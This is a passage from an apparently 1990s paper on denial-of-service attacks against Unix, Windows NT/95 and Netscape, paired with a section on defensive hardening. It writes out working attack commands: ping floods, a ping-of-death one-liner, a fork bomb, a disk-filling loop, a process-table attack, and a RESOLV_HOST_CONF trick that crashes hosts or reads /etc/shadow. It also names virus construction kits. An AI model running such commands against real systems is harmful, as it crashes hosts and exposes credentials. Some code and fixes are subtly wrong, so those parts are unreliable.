&lt;br /&gt;keep coming the network will soon be in trouble.
&lt;br /&gt;
&lt;br /&gt;Services that can be misused as tools in this kind of attack is for
&lt;br /&gt;example ping, finger and sendmail. But most services can be misused
&lt;br /&gt;in some way or another.
&lt;br /&gt;
&lt;br /&gt;.C.15. EMAIL BOMBING AND SPAMMING
&lt;br /&gt;---------------------------------
&lt;br /&gt;
&lt;br /&gt;In a email bombing attack the attacker will repeatedly send identical
&lt;br /&gt;email messages to an address. The effect on the target is high bandwidth,
&lt;br /&gt;a hard disk with less space and so on... Email spamming is about sending
&lt;br /&gt;mail to all (or rather many) of the users of a system. The point of
&lt;br /&gt;using spamming instead of bombing is that some users will try to
&lt;br /&gt;send a replay and if the address is false will the mail bounce back. In
&lt;br /&gt;that cause have one mail transformed to three mails. The effect on the
&lt;br /&gt;bandwidth is obvious.
&lt;br /&gt;
&lt;br /&gt;There is no way to prevent email bombing or spamming. However have
&lt;br /&gt;a look at CERT:s paper "Email bombing and spamming".
&lt;br /&gt;
&lt;br /&gt;.C.16. TIME AND KERBEROS
&lt;br /&gt;------------------------
&lt;br /&gt;
&lt;br /&gt;If not the the source and target machine is closely aligned will the
&lt;br /&gt;ticket be rejected, that means that if not the protocol that set the 
&lt;br /&gt;time is protected it will be possible to set a kerberos server of
&lt;br /&gt;function.
&lt;br /&gt;
&lt;br /&gt;.C.17. THE DOT DOT BUG
&lt;br /&gt;----------------------
&lt;br /&gt;
&lt;br /&gt;Windows NT file sharing system is vulnerable to the under Windows 95
&lt;br /&gt;famous dot dot bug (dot dot like ..). Meaning that anyone can crash
&lt;br /&gt;the system. If someone sends a "DIR ..\" to the workstation will a
&lt;br /&gt;STOP messages appear on the screen on the Windows NT computer. Note that
&lt;br /&gt;it applies to version 3.50 and 3.51 for both workstation and server
&lt;br /&gt;version.
&lt;br /&gt;
&lt;br /&gt;The solution is to install the proper patch.
&lt;br /&gt;
&lt;br /&gt;.C.18. SUNOS KERNEL PANIC
&lt;br /&gt;-------------------------
&lt;br /&gt;
&lt;br /&gt;Some SunOS systems (running TIS?) will get a kernel panic if a
&lt;br /&gt;getsockopt() is done after that a connection has been reset.
&lt;br /&gt;
&lt;br /&gt;The solution could be to install Sun patch 100804.
&lt;br /&gt;
&lt;br /&gt;.C.19. HOSTILE APPLETS
&lt;br /&gt;----------------------
&lt;br /&gt;
&lt;br /&gt;A hostile applet is any applet that attempts to use your system
&lt;br /&gt;in an inappropriate manner. The problems in the java language
&lt;br /&gt;could be sorted in two main groups:
&lt;br /&gt;
&lt;br /&gt;	1) Problems due to bugs.
&lt;br /&gt;	2) Problems due to features in the language.
&lt;br /&gt;
&lt;br /&gt;In group one we have for example the java bytecode verifier bug, which
&lt;br /&gt;makes is possible for an applet to execute any command that the user
&lt;br /&gt;can execute. Meaning that all the attack methods described in .D.X. 
&lt;br /&gt;could be executed through an applet. The java bytecode verifier bug
&lt;br /&gt;was discovered in late March 1996 and no patch have yet been available
&lt;br /&gt;(correct me if I'am wrong!!!).
&lt;br /&gt;
&lt;br /&gt;Note that two other bugs could be found in group one, but they
&lt;br /&gt;are both fixed in Netscape 2.01 and JDK 1.0.1.
&lt;br /&gt;
&lt;br /&gt;Group two are more interesting and one large problem found is the
&lt;br /&gt;fact that java can connect to the ports. Meaning that all the methods
&lt;br /&gt;described in .C.X. can be performed by an applet. More information
&lt;br /&gt;and examples could be found at address:
&lt;br /&gt;	
&lt;br /&gt;	http://www.math.gatech.edu/~mladue/HostileArticle.html
&lt;br /&gt;
&lt;br /&gt;If you need a high level of security you should use some sort of
&lt;br /&gt;firewall for protection against java. As a user you could have
&lt;br /&gt;java disable. 
&lt;br /&gt;
&lt;br /&gt;.C.20. VIRUS
&lt;br /&gt;------------
&lt;br /&gt;
&lt;br /&gt;Computer virus is written for the purpose of spreading and
&lt;br /&gt;destroying systems. Virus is still the most common and famous
&lt;br /&gt;denial of service attack method.
&lt;br /&gt;
&lt;br /&gt;It is a misunderstanding that virus writing is hard. If you know
&lt;br /&gt;assembly language and have source code for a couple of virus it
&lt;br /&gt;is easy. Several automatic toolkits for virus construction could
&lt;br /&gt;also be found, for example:
&lt;br /&gt;	
&lt;br /&gt;	* Genvir.
&lt;br /&gt;	* VCS (Virus Construction Set).
&lt;br /&gt;	* VCL (Virus Construction Laboratory).
&lt;br /&gt;	* PS-MPC (Phalcon/Skism - Mass Produced Code Generator).
&lt;br /&gt;	* IVP (Instant Virus Production Kit).
&lt;br /&gt;	* G2 (G Squared).
&lt;br /&gt;
&lt;br /&gt;PS-MPC and VCL is known to be the best and can help the novice programmer
&lt;br /&gt;to learn how to write virus.
&lt;br /&gt;
&lt;br /&gt;An automatic tool called MtE could also be found. MtE will transform
&lt;br /&gt;virus to a polymorphic virus. The polymorphic engine of MtE is well
&lt;br /&gt;known and should easily be catch by any scanner.
&lt;br /&gt;
&lt;br /&gt;.C.21. ANONYMOUS FTP ABUSE
&lt;br /&gt;--------------------------
&lt;br /&gt;
&lt;br /&gt;If an anonymous FTP archive have a writable area it could be misused
&lt;br /&gt;for a denial of service attack similar with with .D.3. That is we can
&lt;br /&gt;fill up the hard disk.
&lt;br /&gt;
&lt;br /&gt;Also can a host get temporarily unusable by massive numbers of
&lt;br /&gt;FTP requests.
&lt;br /&gt;
&lt;br /&gt;For more information on how to protect an anonymous FTP site could
&lt;br /&gt;CERT:s "Anonymous FTP Abuses" be a good start.
&lt;br /&gt;
&lt;br /&gt;.C.22. SYN FLOODING
&lt;br /&gt;-------------------
&lt;br /&gt;
&lt;br /&gt;Both 2600 and Phrack have posted information about the syn flooding attack.
&lt;br /&gt;2600 have also posted exploit code for the attack. 
&lt;br /&gt;
&lt;br /&gt;As we know the syn packet is used in the 3-way handshake. The syn flooding
&lt;br /&gt;attack is based on an incomplete handshake. That is the attacker host
&lt;br /&gt;will send a flood of syn packet but will not respond with an ACK packet.
&lt;br /&gt;The TCP/IP stack will wait a certain amount of time before dropping
&lt;br /&gt;the connection, a syn flooding attack will therefore keep the syn_received 
&lt;br /&gt;connection queue of the target machine filled.
&lt;br /&gt;
&lt;br /&gt;The syn flooding attack is very hot and it is easy to find more information
&lt;br /&gt;about it, for example:
&lt;br /&gt;
&lt;br /&gt;	[.1.] http://www.eecs.nwu.edu/~jmyers/bugtraq/1354.html
&lt;br /&gt;	Article by Christopher Klaus, including a "solution". 
&lt;br /&gt;	
&lt;br /&gt;	[.2.] http://jya.com/floodd.txt
&lt;br /&gt;	2600, Summer, 1996, pp. 6-11. FLOOD WARNING by Jason Fairlane
&lt;br /&gt;
&lt;br /&gt;	[.3.] http://www.fc.net/phrack/files/p48/p48-14.html
&lt;br /&gt;	IP-spoofing Demystified by daemon9 / route / infinity
&lt;br /&gt;     	for Phrack Magazine
&lt;br /&gt;
&lt;br /&gt;.C.23. PING FLOODING
&lt;br /&gt;--------------------
&lt;br /&gt;
&lt;br /&gt;I haven't tested how big the impact of a ping flooding attack is, but
&lt;br /&gt;it might be quite big.
&lt;br /&gt;
&lt;br /&gt;Under Unix we could try something like: ping -s host
&lt;br /&gt;to send 64 bytes packets. 
&lt;br /&gt;
&lt;br /&gt;If you have Windows 95, click the start button, select RUN, then type
&lt;br /&gt;in: PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.
&lt;br /&gt;
&lt;br /&gt;.C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
&lt;br /&gt;----------------------------------------------------------
&lt;br /&gt;
&lt;br /&gt;If someone can ping your machine from a Windows 95 machine he or she might
&lt;br /&gt;reboot or freeze your machine. The attacker simply writes:
&lt;br /&gt;
&lt;br /&gt;ping -l 65510 address.to.the.machine
&lt;br /&gt;
&lt;br /&gt;And the machine will freeze or reboot.
&lt;br /&gt;
&lt;br /&gt;Works for kernel 2.0.7 up to version 2.0.20. and 2.1.1. for Linux (crash).
&lt;br /&gt;AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash).
&lt;br /&gt;OSF/1, 3.2C, Solaris 2.4 x86 (reboot).
&lt;br /&gt;
&lt;br /&gt;.C.25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
&lt;br /&gt;--------------------------------------------------
&lt;br /&gt;
&lt;br /&gt;The subnet mask reply message is used under the reboot, but some
&lt;br /&gt;hosts are known to accept the message any time without any check.
&lt;br /&gt;If so all communication to or from the host us turned off, it's dead.
&lt;br /&gt;
&lt;br /&gt;The host should not accept the message any time but under the reboot.
&lt;br /&gt;
&lt;br /&gt;.C.26. FLEXlm
&lt;br /&gt;-------------
&lt;br /&gt;
&lt;br /&gt;Any host running FLEXlm can get the FLEXlm license manager daemon
&lt;br /&gt;on any network to shutdown using the FLEXlm lmdown command.
&lt;br /&gt;
&lt;br /&gt;# lmdown -c /etc/licence.dat
&lt;br /&gt;lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.
&lt;br /&gt;
&lt;br /&gt;Shutting down FLEXlm on nodes: xxx
&lt;br /&gt;Are you sure? [y/n]: y
&lt;br /&gt;Shut down node xxx
&lt;br /&gt;#
&lt;br /&gt;
&lt;br /&gt;.C.27. BOOTING WITH TRIVIAL FTP
&lt;br /&gt;-------------------------------
&lt;br /&gt;
&lt;br /&gt;To boot diskless workstations one often use trivial ftp with rarp or
&lt;br /&gt;bootp. If not protected an attacker can use tftp to boot the host.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;.D. ATTACKING FROM THE INSIDE
&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;br /&gt;
&lt;br /&gt;.D.1. KERNEL PANIC UNDER SOLARIS 2.3
&lt;br /&gt;------------------------------------
&lt;br /&gt;
&lt;br /&gt;Solaris 2.3 will get a kernel panic if this
&lt;br /&gt;is executed:
&lt;br /&gt;
&lt;br /&gt;EX:
&lt;br /&gt;	
&lt;br /&gt;	$ndd /dev/udp udp_status
&lt;br /&gt;
&lt;br /&gt;The solution is to install the proper patch.
&lt;br /&gt;
&lt;br /&gt;.D.2. CRASHING THE X-SERVER
&lt;br /&gt;---------------------------
&lt;br /&gt;
&lt;br /&gt;If stickybit is not set in /tmp then can the file /tmp/.x11-unix/x0
&lt;br /&gt;be removed and the x-server will crash.
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt;
&lt;br /&gt;	$ rm /tmp/.x11-unix/x0
&lt;br /&gt;
&lt;br /&gt;.D.3. FILLING UP THE HARD DISK
&lt;br /&gt;-----------------------------
&lt;br /&gt;
&lt;br /&gt;If your hard disk space is not limited by a quota or if you can use
&lt;br /&gt;/tmp then it`s possible for you to fill up the file system.
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt;
&lt;br /&gt;	while : ;
&lt;br /&gt;	mkdir .xxx
&lt;br /&gt;	cd .xxx
&lt;br /&gt;	done
&lt;br /&gt;
&lt;br /&gt;.D.4. MALICIOUS USE OF eval
&lt;br /&gt;---------------------------
&lt;br /&gt;
&lt;br /&gt;Some older systems will crash if eval '\!\!' is executed in the
&lt;br /&gt;C-shell.
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt; 
&lt;br /&gt;	% eval '\!\!'
&lt;br /&gt;	
&lt;br /&gt;.D.5. MALICIOUS USE OF fork() 
&lt;br /&gt;-----------------------------
&lt;br /&gt;
&lt;br /&gt;If someone executes this C++ program the result will result in a crash
&lt;br /&gt;on most systems.
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt;	
&lt;br /&gt;	#include &lt;sys/types.h&gt;
&lt;br /&gt;	#include &lt;unistd.h&gt;
&lt;br /&gt;	#include &lt;iostream.h&gt;
&lt;br /&gt;	
&lt;br /&gt;	main()
&lt;br /&gt;	{
&lt;br /&gt;		int x;
&lt;br /&gt;		while(x=0;x&lt;1000000;x++)
&lt;br /&gt;			{
&lt;br /&gt;				system("uptime");
&lt;br /&gt;				fork();
&lt;br /&gt;			}
&lt;br /&gt;	}
&lt;br /&gt;
&lt;br /&gt;You can use any command you want, but uptime is nice
&lt;br /&gt;because it shows the workload.
&lt;br /&gt;
&lt;br /&gt;To get a bigger and very ugly attack you should however replace uptime
&lt;br /&gt;(or fork them both) with sync. This is very bad.
&lt;br /&gt;
&lt;br /&gt;If you are real mean you could also fork a child process for
&lt;br /&gt;every child process and we will get an exponential increase of
&lt;br /&gt;workload. 
&lt;br /&gt;
&lt;br /&gt;There is no good way to stop this attack and
&lt;br /&gt;similar attacks. A solution could be to place a limit
&lt;br /&gt;on time of execution and size of processes.
&lt;br /&gt;
&lt;br /&gt;.D.6. CREATING FILES THAT IS HARD TO REMOVE
&lt;br /&gt;-------------------------------------------
&lt;br /&gt;
&lt;br /&gt;Well all files can be removed, but here is some ideas:
&lt;br /&gt;
&lt;br /&gt;Ex.I.
&lt;br /&gt;
&lt;br /&gt;	$ cat &gt; -xxx
&lt;br /&gt;	^C
&lt;br /&gt;	$ ls
&lt;br /&gt;	-xxx
&lt;br /&gt;	$ rm -xxx
&lt;br /&gt;	rm: illegal option -- x
&lt;br /&gt;	rm: illegal option -- x
&lt;br /&gt;	rm: illegal option -- x
&lt;br /&gt;	usage: rm [-fiRr] file ...
&lt;br /&gt;	$
&lt;br /&gt;
&lt;br /&gt;Ex.II.
&lt;br /&gt;
&lt;br /&gt;	$ touch xxx!
&lt;br /&gt;	$ rm xxx!
&lt;br /&gt;	rm: remove xxx! (yes/no)? y
&lt;br /&gt;	$ touch xxxxxxxxx!
&lt;br /&gt;	$ rm xxxxxxxxx!
&lt;br /&gt;	bash: !": event not found
&lt;br /&gt;	$
&lt;br /&gt;
&lt;br /&gt;	(You see the size do count!)
&lt;br /&gt;
&lt;br /&gt;Other well know methods is files with odd characters or spaces
&lt;br /&gt;in the name. 
&lt;br /&gt;
&lt;br /&gt;These methods could be used in combination with ".D.3 FILLING UP THE
&lt;br /&gt;HARDDISK". If you do want to remove these files you must use some sort
&lt;br /&gt;of script or a graphical interface like OpenWindow:s File
&lt;br /&gt;Manager. You can also try to use: rm ./&lt;filename&gt;. It should work for
&lt;br /&gt;the first example if you have a shell.
&lt;br /&gt;
&lt;br /&gt;.D.7. DIRECTORY NAME LOOKUPCACHE
&lt;br /&gt;--------------------------------
&lt;br /&gt;
&lt;br /&gt;Directory name lookupcache (DNLC) is used whenever a file is opened.
&lt;br /&gt;DNLC associates the name of the file to a vnode. But DNLC can only
&lt;br /&gt;operate on files with names that has less than N characters (for SunOS 4.x
&lt;br /&gt;up to 14 character, for Solaris 2.x up 30 characters). This means
&lt;br /&gt;that it's dead easy to launch a pretty discreet denial of service attack.
&lt;br /&gt;
&lt;br /&gt;Create lets say 20 directories (for a start) and put 10 empty files in
&lt;br /&gt;every directory. Let every name have over 30 characters and execute a
&lt;br /&gt;script that makes a lot of ls -al on the directories.
&lt;br /&gt;
&lt;br /&gt;If the impact is not big enough you should create more files or launch
&lt;br /&gt;more processes.
&lt;br /&gt; 
&lt;br /&gt;.D.8. CSH ATTACK
&lt;br /&gt;----------------
&lt;br /&gt;
&lt;br /&gt;Just start this under /bin/csh (after proper modification) 
&lt;br /&gt;and the load level will get very high (that is 100% of the cpu time) 
&lt;br /&gt;in a very short time. 
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt;
&lt;br /&gt;	|I /bin/csh
&lt;br /&gt;	nodename : **************b
&lt;br /&gt;
&lt;br /&gt;.D.9. CREATING FILES IN /tmp
&lt;br /&gt;----------------------------
&lt;br /&gt;
&lt;br /&gt;Many programs creates files in /tmp, but are unable to deal with the problem
&lt;br /&gt;if the file already exist. In some cases this could be used for a
&lt;br /&gt;denial of service attack.
&lt;br /&gt;
&lt;br /&gt;.D.10. USING RESOLV_HOST_CONF
&lt;br /&gt;-----------------------------
&lt;br /&gt;
&lt;br /&gt;Some systems have a little security hole in the way they use the
&lt;br /&gt;RESOLV_HOST_CONF variable. That is we can put things in it and
&lt;br /&gt;through ping access confidential data like /etc/shadow or
&lt;br /&gt;crash the system. Most systems will crash if /proc/kcore is 
&lt;br /&gt;read in the variable and access through ping.
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt;	
&lt;br /&gt;	$ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf
&lt;br /&gt;
&lt;br /&gt;.D.11. SUN 4.X AND BACKGROUND JOBS	
&lt;br /&gt;----------------------------------
&lt;br /&gt;
&lt;br /&gt;Thanks to Mr David Honig &lt;honig@amada.net&gt; for the following:
&lt;br /&gt;
&lt;br /&gt;" Put the string "a&amp;" in a file called "a" and perform "chmod +x a".
&lt;br /&gt;Running "a" will quickly disable a Sun 4.x machine, even disallowing
&lt;br /&gt;(counter to specs) root login as the kernel process table fills."
&lt;br /&gt;
&lt;br /&gt;" The cute thing is the size of the 
&lt;br /&gt;script, and how few keystrokes it takes to bring down a Sun
&lt;br /&gt;as a regular user."
&lt;br /&gt;
&lt;br /&gt;.D.12. CRASHING DG/UX WITH ULIMIT 
&lt;br /&gt;---------------------------------
&lt;br /&gt;
&lt;br /&gt;ulimit is used to set a limit on the system resources available to the 
&lt;br /&gt;shell. If ulimit 0 is called before /etc/passwd, under DG/UX, will the 
&lt;br /&gt;passwd file be set to zero.
&lt;br /&gt;
&lt;br /&gt;.D.13. NETTUNE AND HP-UX
&lt;br /&gt;------------------------
&lt;br /&gt;
&lt;br /&gt;/usr/contrib/bin/nettune is SETUID root on HP-UX meaning
&lt;br /&gt;that any user can reset all ICMP, IP and TCP kernel
&lt;br /&gt;parameters, for example the following parameters:
&lt;br /&gt;
&lt;br /&gt;	- arp_killcomplete 
&lt;br /&gt;	- arp_killincomplete
&lt;br /&gt;	- arp_unicast 
&lt;br /&gt;	- arp_rebroadcast
&lt;br /&gt;	- icmp_mask_agent
&lt;br /&gt;	- ip_defaultttl
&lt;br /&gt;	- ip_forwarding
&lt;br /&gt;	- ip_intrqmax
&lt;br /&gt;	- pmtu_defaulttime
&lt;br /&gt;	- tcp_localsubnets
&lt;br /&gt;	- tcp_receive
&lt;br /&gt;	- tcp_send
&lt;br /&gt;	- tcp_defaultttl
&lt;br /&gt;	- tcp_keepstart 
&lt;br /&gt;	- tcp_keepfreq
&lt;br /&gt;	- tcp_keepstop
&lt;br /&gt;	- tcp_maxretrans
&lt;br /&gt;	- tcp_urgent_data_ptr
&lt;br /&gt;	- udp_cksum
&lt;br /&gt;	- udp_defaultttl 
&lt;br /&gt;	- udp_newbcastenable 
&lt;br /&gt;	- udp_pmtu
&lt;br /&gt;	- tcp_pmtu
&lt;br /&gt;	- tcp_random_seq
&lt;br /&gt;
&lt;br /&gt;The solution could be to set the proper permission on 
&lt;br /&gt;/sbin/mount_union:
&lt;br /&gt;
&lt;br /&gt;#chmod u-s /sbin/mount_union
&lt;br /&gt;
&lt;br /&gt;.D.14. SOLARIS 2.X AND NFS
&lt;br /&gt;--------------------------
&lt;br /&gt;
&lt;br /&gt;If a process is writing over NFS and the user goes over the disk
&lt;br /&gt;quota will the process go into an infinite loop.
&lt;br /&gt;
&lt;br /&gt;.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
&lt;br /&gt;--------------------------------------------------
&lt;br /&gt;
&lt;br /&gt;By executing a sequence of mount_union commands any user
&lt;br /&gt;can cause a system reload on all FreeBSD version 2.X before
&lt;br /&gt;1996-05-18.
&lt;br /&gt;
&lt;br /&gt;$ mkdir a
&lt;br /&gt;$ mkdir b
&lt;br /&gt;$ mount_union ~/a ~/b
&lt;br /&gt;$ mount_union -b ~/a ~/b
&lt;br /&gt;
&lt;br /&gt;The solution could be to set the proper permission on 
&lt;br /&gt;/sbin/mount_union:
&lt;br /&gt;
&lt;br /&gt;#chmod u-s /sbin/mount_union
&lt;br /&gt;
&lt;br /&gt;.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X
&lt;br /&gt;----------------------------------------------------
&lt;br /&gt;
&lt;br /&gt;Executing the trap_mon instruction from user mode can cause
&lt;br /&gt;a kernel panic or a window underflow watchdog reset under
&lt;br /&gt;SunOS 4.1.x, sun4c architecture.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;.E. DUMPING CORE
&lt;br /&gt;~~~~~~~~~~~~~~~~
&lt;br /&gt;
&lt;br /&gt;.E.1. SHORT COMMENT
&lt;br /&gt;-------------------
&lt;br /&gt;
&lt;br /&gt;The core dumps things don't really belongs in this paper but I have
&lt;br /&gt;put them here anyway.
&lt;br /&gt;
&lt;br /&gt;.E.2. MALICIOUS USE OF NETSCAPE
&lt;br /&gt;-------------------------------
&lt;br /&gt;
&lt;br /&gt;Under Netscape 1.1N this link will result in a segmentation fault and a
&lt;br /&gt;core dump.
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt;
&lt;br /&gt;	&lt;a name="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
&lt;br /&gt;	xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.
&lt;br /&gt;	xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
&lt;br /&gt;	xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
&lt;br /&gt;	xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...&gt;
&lt;br /&gt;
&lt;br /&gt;.E.3. CORE DUMPED UNDER WUFTPD
&lt;br /&gt;------------------------------
&lt;br /&gt;
&lt;br /&gt;A core dumped could be created under wuftp with two different
&lt;br /&gt;methods:
&lt;br /&gt;
&lt;br /&gt;	(1) Then pasv is given (user not logged in (ftp -n)). Almost all
&lt;br /&gt;	versions of BSD:s ftpd.
&lt;br /&gt;	(2) More than 100 arguments is given with any executable
&lt;br /&gt;	command. Presents in all versions of BSD:sd ftpd.
&lt;br /&gt;
&lt;br /&gt;.E.4. ld UNDER SOLARIS/X86
&lt;br /&gt;--------------------------
&lt;br /&gt;
&lt;br /&gt;Under Solaris 2.4/X86 ld dumps core if given with the -s option.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;br /&gt;
&lt;br /&gt;.F.1. BASIC SECURITY PROTECTION
&lt;br /&gt;-------------------------------
&lt;br /&gt;
&lt;br /&gt;.F.1.1. INTRODUCTION
&lt;br /&gt;--------------------
&lt;br /&gt;
&lt;br /&gt;You can not make your system totally secured against denial of service
&lt;br /&gt;attacks but for attacks from the outside you can do a lot. I put this
&lt;br /&gt;work list together and hope that it can be of some use. 
&lt;br /&gt;
&lt;br /&gt;.F.1.2. SECURITY PATCHES
&lt;br /&gt;------------------------
&lt;br /&gt;
&lt;br /&gt;Always install the proper security patches. As for patch numbers
&lt;br /&gt;I don't want to put them out, but that doesn't matter because you
&lt;br /&gt;anyway want to check that you have all security patches installed,
&lt;br /&gt;so get a list and check! Also note that patches change over time and
&lt;br /&gt;that a solution suggested in security bulletins (i.e. CERT) often
&lt;br /&gt;is somewhat temporary.
&lt;br /&gt;
&lt;br /&gt;.F.1.3. PORT SCANNING
&lt;br /&gt;---------------------
&lt;br /&gt;
&lt;br /&gt;Check which services you have. Don't check with the manual
&lt;br /&gt;or some configuration file, instead scan the ports with sprobe
&lt;br /&gt;or some other port scanner. Actual you should do this regualy to see
&lt;br /&gt;that anyone don't have installed a service that you don't want on
&lt;br /&gt;the system (could for example be service used for a pirate site).
&lt;br /&gt;
&lt;br /&gt;Disable every service that you don't need, could for example be rexd,
&lt;br /&gt;fingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen,
&lt;br /&gt;tftp, exec, ufs, daytime, time... Any combination of echo, time, daytime
&lt;br /&gt;and chargen is possible to get to loop. There is however no need
&lt;br /&gt;to turn discard off. The discard service will just read a packet
&lt;br /&gt;and discard it, so if you turn off it you will get more sensitive to
&lt;br /&gt;denial of service and not the opposite.
&lt;br /&gt;
&lt;br /&gt;Actual can services be found on many systems that can be used for
&lt;br /&gt;denial of service and brute force hacking without any logging. For
&lt;br /&gt;example Stock rexec never logs anything. Most popd:s also don't log 
&lt;br /&gt;anything
&lt;br /&gt;
&lt;br /&gt;.F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
&lt;br /&gt;---------------------------------------------------------
&lt;br /&gt;
&lt;br /&gt;Check that attacks described in this paper and look at the
&lt;br /&gt;solution. Some attacks you should perform yourself to see if they
&lt;br /&gt;apply to your system, for example:
&lt;br /&gt;
&lt;br /&gt;	- Freezing up X-Windows.
&lt;br /&gt;	- Malicious use of telnet.
&lt;br /&gt;	- How to disable services.
&lt;br /&gt;	- SunOS kernel panic.
&lt;br /&gt;	- Attacking with lynx clients.
&lt;br /&gt;	- Crashing systems with ping from Windows 95 machines.
&lt;br /&gt;	
&lt;br /&gt;That is stress test your system with several services and look at
&lt;br /&gt;the effect.
&lt;br /&gt;
&lt;br /&gt;Note that Solaris 2.4 and later have a limit on the number of ICMP
&lt;br /&gt;error messages (1 per 500 ms I think) that can cause problems then
&lt;br /&gt;you test your system for some of the holes described in this paper.
&lt;br /&gt;But you can easy solve this problem by executing this line:
&lt;br /&gt;
&lt;br /&gt;$ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0
&lt;br /&gt;                                                            
&lt;br /&gt;.F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
&lt;br /&gt;--------------------------------------------------------
&lt;br /&gt;
&lt;br /&gt;Check the inside attacks, although it is always possibly to crash
&lt;br /&gt;the system from the inside you don't want it to be to easy. Also
&lt;br /&gt;have several of the attacks applications besides denial of service,
&lt;br /&gt;for example:
&lt;br /&gt;
&lt;br /&gt;	- Crashing the X-Server: 	If stickybit is not set in /tmp
&lt;br /&gt;					a number of attacks to gain
&lt;br /&gt;					access can be performed.
&lt;br /&gt;
&lt;br /&gt;	- Using resolv_host_conf:	Could be used to expose
&lt;br /&gt;					confidential data like
&lt;br /&gt;					/etc/shadow.
&lt;br /&gt;
&lt;br /&gt;	- Core dumped under wuftpd:	Could be used to extract
&lt;br /&gt;					password-strings.
&lt;br /&gt;
&lt;br /&gt;If I don't have put out a solution I might have recommended son other paper.
&lt;br /&gt;If not I don't know of a paper with a solution I feel that I can recommend.
&lt;br /&gt;You should in these causes check with your company.
&lt;br /&gt;
&lt;br /&gt;.F.1.6. EXTRA SECURITY SYSTEMS
&lt;br /&gt;------------------------------
&lt;br /&gt;
&lt;br /&gt;Also think about if you should install some extra security systems.
&lt;br /&gt;The basic that you always should install is a logdaemon  and a wrapper.
&lt;br /&gt;A firewall could also be very good, but expensive. Free tools that can
&lt;br /&gt;be found on the Internet is for example:
&lt;br /&gt;
&lt;br /&gt;TYPE:		NAME:		URL:
&lt;br /&gt;
&lt;br /&gt;LOGDAEMON	NETLOG		ftp://net.tamu.edu/pub/security/TAMU
&lt;br /&gt;WRAPPER		TCP WRAPPERS	ftp://cert.org/pub/tools/tcp_wrappers
&lt;br /&gt;FIREWALL	TIS 		ftp://ftp.tis.com/pub/firewalls/toolkit
&lt;br /&gt;
&lt;br /&gt;Note that you should be very careful if building your own firewall with
&lt;br /&gt;TIS or you might open up new and very bad security holes, but it is a very
&lt;br /&gt;good security packer if you have some basic knowledge.
&lt;br /&gt;
&lt;br /&gt;It is also very good to replace services that you need, for example telnet,
&lt;br /&gt;rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be
&lt;br /&gt;found at URL: 
&lt;br /&gt;
&lt;br /&gt;	ftp://ftp.cs.hut.fi/pub/ssh
&lt;br /&gt;
&lt;br /&gt;The addresses I have put out are the central sites for distributing
&lt;br /&gt;and I don't think that you should use any other except for CERT.
&lt;br /&gt;
&lt;br /&gt;For a long list on free general security tools I recommend:
&lt;br /&gt;"FAQ: Computer Security Frequently Asked Questions".
&lt;br /&gt;
&lt;br /&gt;.F.1.7. MONITORING SECURITY
&lt;br /&gt;---------------------------
&lt;br /&gt;
&lt;br /&gt;Also monitor security regular, for example through examining system log
&lt;br /&gt;files, history files... Even in a system without any extra security systems
&lt;br /&gt;could several tools be found for monitoring, for example: 
&lt;br /&gt;
&lt;br /&gt;	- uptime
&lt;br /&gt;	- showmount
&lt;br /&gt;	- ps
&lt;br /&gt;	- netstat
&lt;br /&gt;	- finger
&lt;br /&gt;
&lt;br /&gt;(see the man text for more information).
&lt;br /&gt;
&lt;br /&gt;.F.1.8. KEEPING UP TO DATE
&lt;br /&gt;--------------------------
&lt;br /&gt;
&lt;br /&gt;It is very important to keep up to date with security problems. Also 
&lt;br /&gt;understand that then, for example CERT, warns for something it has often
&lt;br /&gt;been dark-side public for sometime, so don't wait. The following resources
&lt;br /&gt;that helps you keeping up to date can for example be found on the Internet:
&lt;br /&gt;
&lt;br /&gt;	- CERT mailing list. Send an e-mail to cert@cert.org to be placed
&lt;br /&gt;	on the list.
&lt;br /&gt;	
&lt;br /&gt;	- Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net.
&lt;br /&gt;
&lt;br /&gt;	- WWW-security mailing list. Send an e-mail to 
&lt;br /&gt;	www-security@ns2.rutgers.edu.
&lt;br /&gt;
&lt;br /&gt;.F.1.9. READ SOMETHING BIGGER AND BETTER
&lt;br /&gt;----------------------------------------
&lt;br /&gt;
&lt;br /&gt;Let's start with papers on the Internet. I am sorry to say that it is not
&lt;br /&gt;very many good free papers that can be found, but here is a small collection
